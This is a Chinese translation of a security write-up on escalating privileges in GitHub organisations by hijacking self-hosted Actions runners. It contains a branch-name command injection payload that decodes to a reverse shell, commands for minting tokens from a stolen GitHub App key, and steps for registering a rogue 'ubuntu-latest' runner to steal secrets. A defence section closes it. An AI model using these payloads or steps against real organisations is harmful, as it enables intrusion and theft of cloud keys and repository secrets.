【翻译】一种特殊的GitHub权限提升方法
字数 1556 2025-08-22 12:23:13
GitHub权限提升技术:自托管运行器劫持攻击详解
0X00 技术背景
CI/CD基础概念
- 持续集成(CI): 开发人员提交代码到版本控制仓库后,自动运行构建和测试
- 持续部署(CD): 在CI基础上,构建和测试通过后自动部署到生产/测试环境
- GitHub Actions: GitHub提供的CI/CD服务,允许自动化构建、测试和部署流程
关键术语解释
- ubuntu-latest标签: GitHub Actions工作流程中指定运行环境的标签,表示使用最新版Ubuntu系统
- 自托管运行器(Self-hosted runner): 用户自己配置和管理的GitHub Actions运行环境,而非使用GitHub提供的托管运行器
0X01 攻击场景分析
初始环境设置
-
目标组织有两个仓库:
- 脆弱仓库:包含易受攻击的工作流程
- 敏感仓库:包含云基础设施部署的敏感信息(密钥等)
-
安全限制:
- 分支保护启用(required_pull_request_reviews)
- 需要至少一个批准才能合并PR
- 强制签名验证
- 禁止强制推送
漏洞工作流程分析
脆弱工作流程特点:
- 触发条件:拉取请求评论事件
- 关键漏洞点:使用用户可控的分支名称直接执行git checkout
- 攻击向量:通过构造恶意分支名注入命令
示例攻击分支名:
";{echo,c2ggLWkgPiYgL2Rldi90Y3AveC54LngueC84MCAwPiYxCg==}|{base64,-d}|{bash,-i};echo""
解码后实际执行:
sh -i >& /dev/tcp/x.x.x.x/80 0>&1
这将建立一个反向shell连接攻击者服务器
0X02 权限提升技术
获取GitHub App凭证
-
通过反向shell获取环境变量:
- GH_APP_ID: GitHub应用程序ID
- GH_APP_PVK: GitHub应用程序私钥(RSA格式)
-
使用私钥生成访问令牌:
gh token generate --key leaked-private-key.pem --app-id <APP_ID>
关键权限利用
生成的令牌具有organization_self_hosted_runners的write权限,可用于:
- 创建组织级运行器注册令牌:
gh api --method POST /orgs/<org>/actions/runners/registration-token
- 注册恶意自托管运行器:
- 使用
ubuntu-latest标签注册 - 企业级运行器将优先处理带有此标签的工作流
运行器劫持工具
使用Python脚本gh-hijack-runner.py实现:
- 基本用法:
gh-hijack-runner.py --registration-token <TOKEN> --url https://github.com/<org> --labels ubuntu-latest
- 高级用法(已有运行器凭证时):
gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.json
- 会话管理:
- 查找现有会话ID:
cat _diag/* | grep -i session
- 删除会话(使合法运行器崩溃):
gh-hijack-runner.py ... --delete-session-id <SESSION_ID>
0X03 攻击效果
-
窃取敏感信息:
- 云服务密钥
- SSH私钥
- 仓库机密
- 系统GitHub令牌
-
绕过安全限制:
- 无需通过PR审核流程
- 无需绕过分支保护
- 当合法用户触发工作流时自动泄露信息
0X04 防御措施
针对组织管理员
-
权限最小化原则:
- 严格审查GitHub App权限
- 避免授予不必要的
organization_self_hosted_runnerswrite权限
-
运行器隔离:
- 为不同敏感级别的工作流使用不同的运行器标签
- 避免在敏感工作流中使用通用标签如
ubuntu-latest
-
监控与审计:
- 定期检查组织中的自托管运行器
- 监控异常运行器注册活动
针对开发者
-
安全编码实践:
- 避免在GitHub Actions工作流中使用未经验证的用户输入
- 对动态生成的命令进行严格过滤
-
工作流安全审查:
- 检查工作流中所有使用
${ { <context> } }的地方 - 确保不会将用户可控数据直接用于命令执行
- 检查工作流中所有使用
-
机密管理:
- 使用GitHub Secrets存储敏感信息
- 限制机密在工作流中的访问范围
0X05 技术总结
本技术展示了如何通过以下路径实现权限提升:
- 初始漏洞利用 → 获取反向shell
- 窃取GitHub App凭证 → 生成访问令牌
- 利用组织运行器权限 → 注册恶意运行器
- 劫持工作流执行 → 窃取敏感信息
关键点在于滥用ubuntu-latest标签和自托管运行器机制,实现对组织内所有使用该标签的工作流的控制。